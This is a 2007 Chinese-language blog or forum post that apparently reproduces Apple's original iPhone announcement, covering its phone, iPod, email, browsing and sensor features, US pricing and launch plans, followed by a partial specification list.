Yahoo!)同步你的所有联系信息,让你始终拥有完整的最新联系信息列表。此外,你还可以针对最频繁拨打的电话建立一个喜欢的电话列表,把这些电话合并在一起召开电话会议。iPhone首创性的Visual Voicemail(可视语音信箱)开创了业界先河,能让用户观看他们的语音邮件列表,决定要聆听的消息,然后直接转至这些消息,而不用聆听以前的消息。就象电子邮件一样,iPhone的Visual Voicemail使用户能够立即随机访问那些他们最感兴趣的消息。iPhone 包含一个带有完整QWERTY软键盘的SMS软件,可在多个会话中轻松收发 SMS消息。当用户需要输入时,iPhone会呈现一个能够防止和纠正错误的典雅触摸键盘,从而使其比许多智能电话上的小型塑料键盘使用起来更加容易和高效。另外,iPhone还包含一个日历软件,支持与你的PC或Mac自动同步日历。iPhone带有一个200万像素的照相机和一个照片管理软件,令今天的电话望尘莫及。用户可以浏览他们的照片图库,这些图库可以轻松地从他们的PC或Mac同步,而且只需轻弹手指就能为他们的墙纸或电子邮件附件选择一张照片。iPhone是一款四频GSM手机,并支持EDGE和Wi-Fi无线数据联网技术。苹果公司选择了Cingular作为其在美国独家iPhone运营商合作伙伴,该公司是美国最优秀、最受欢迎的运营商,用户超过5,800万。iPhone是一款宽屏iPodiPhone是一款可触摸的宽屏iPod,能让音乐爱好者&触摸&他们的音乐,只需轻弹手指就能轻松滚读全部歌曲、艺术家、影集和播放列表。影集图案会完美地呈现在iPhone明亮的宽大显示屏上。iPhone还包含苹果公司按影集封面图案浏览音乐库的令人难以置信的新工具 Cover Flow,这是iPod首次具备此功能。在iPhone上导航音乐库时,只需把iPhone旋转到其横向位置,你就会自动切换到Cover Flow。iPhone 令人难以置信的3.5英寸宽屏显示屏带有播放-暂停、章节快进-后退和音量触控按钮,为在袖珍设备上观看电视节目和电影提供了终极的途径。iPhone能够播放用户从iTunes在线商店购买的可在电脑和iPod上欣赏的相同视频,并且很快就可以使用全新Apple TV&在他们的宽屏电视上观看这些视频。iTunes在线商店现在提供超过350个电视节目、250多个故事片以及5,000多个音乐视频。iPhone能让用户欣赏他们的所有iPod内容,包括音乐、有声书籍、音频播客、视频播客、音乐视频、电视节目和电影。iPhone可以从用户PC或Mac上的iTunes曲库同步内容,并能播放他们从iTunes在线商店购买的任何音乐或视频内容。iPhone 是一款创新的因特网通信设备iPhone带有一个功能强大的HTML电子邮件客户端,能够在后台从大多数POP3或 IMAP邮件服务器获取你的电子邮件,并将照片和图形连同文字一起显示。iPhone具有多任务功能,你可以一边阅读网页,一边在后台下载电子邮件。Yahoo! Mail是世界最大的电子邮件服务供应商,用户超过2.5亿,目前向所有iPhone用户提供一种新的免费&推式&IMAP电子邮件服务,可以自动把新的电子邮件推至用户的iPhone,并且设置简便,只需输入你的Yahoo!用户名和密码即可。iPhone还将支持大多数基于行业标准的IMAP和POP 电子邮件服务,例如 Microsoft Exchange、Apple.Mac Mail、AOL Mail、Google Gmail以及大多数ISP邮件服务。通过苹果公司屡获殊荣的Safari&浏览器iPhone版,iPhone还提供了世界最先进的且富有趣味性的网页浏览器。用户能够以设计的意向方式观看任何网页,然后只需用他们的手指轻点iPhone的多触点显示屏,就能轻松放大扩展网页中的任何部分。用户可以通过Wi-Fi或EDGE从任何地方上网冲浪,并能从他们的PC或Mac自动同步他们的书签。iPhone的Safari浏览器还内置了Google Search和Yahoo! Search,因此用户可以象在他们的电脑上一样,即时搜索其iPhone上的信息。iPhone 还包含 Google Maps,它采用了 Google 的创新地图服务和 iPhone 令人难以置信的地图软件,使用户能够获得袖珍设备上迄今最佳的地图体验。用户可以从 iPhone 非凡、易用的触摸界面查看地图、卫星影像、交通信息和方向。iPhone的先进传感器iPhone采用了先进的内置传感器:一个加速计、一个接近性传感器和一个周围灯光传感器,可以自动增强用户体验和延长电池使用时间。iPhone的内置加速计能够检测出用户何时把它由纵向旋转为横向,然后相应地自动更改显示的内容,这样用户就会立即看到网页的整个宽度或正确横向宽高比的照片。iPhone 内置的接近性传感器可以检测出用户何时把iPhone提升至耳朵附近,并立即关闭显示屏,以节省电源和防止触碰,直至iPhone被移开。iPhone的内置周围灯光传感器能够针对当前的周围灯光自动把显示屏的亮度调整到适当水平,因而增强了用户体验,同时节省了电源。价格和上市时间iPhone将于日下午6点于美国上市,届时在全美超过1800家的AT&;T专卖店同时发售,2007年底在欧洲上市,2008年在亚洲上市,4GB机型售价为499美元(美国),8GB机型售价为599美元(美国),并且能与 PC或Mac配合使用。iPhone将通过苹果公司的零售和在线商店以及Cingular的零售和在线商店在美国销售。几款iPhone配件也将在6月上市,包括苹果公司全新的超小型Bluetooth耳机。iPhone支持四频GSM、EDGE、802.11b/g Wi-Fi和Bluetooth 2.0 EDR无线技术。iPhone需要带有USB 2.0端口、Mac OSX v10.4.8或更高版本以及iTunes 7的Mac电脑;或带有USB 2.0端口和Windows 2000(Service Pack 4)、Windows XP家庭版或专业版(Service Pack 2)的Windows PC。需要因特网访问,建议使用宽带连接。苹果公司和Cingular将在6月份开始发售之前宣布的iPhone服务计划。苹果 iPhone 基本参数
智能;音乐手机
GSM850/900/MHz
1600万色彩屏
480&320分辨率
Mac OS X系统 v10.4.8
理论通话时间
日(美国上市)
苹果 iPhone 产品外形
115 x 61 x 11.6mm
苹果 iPhone 娱乐功能
摄像头像素
纯音乐播放时间则可达到16小时以上
苹果 iPhone 数据功能
支持 Wi-Fi (802.11b/g)支持Wi-Fi无线上网
数据线接口
苹果 iPhone 基本功能
苹果 iPhone 其他功能
at November 13, 2007. by 傻猫 . &&nbsp Views: 2271 &&nbsp

我要回帖

更多关于 google map 离线地图 的文章

 

随机推荐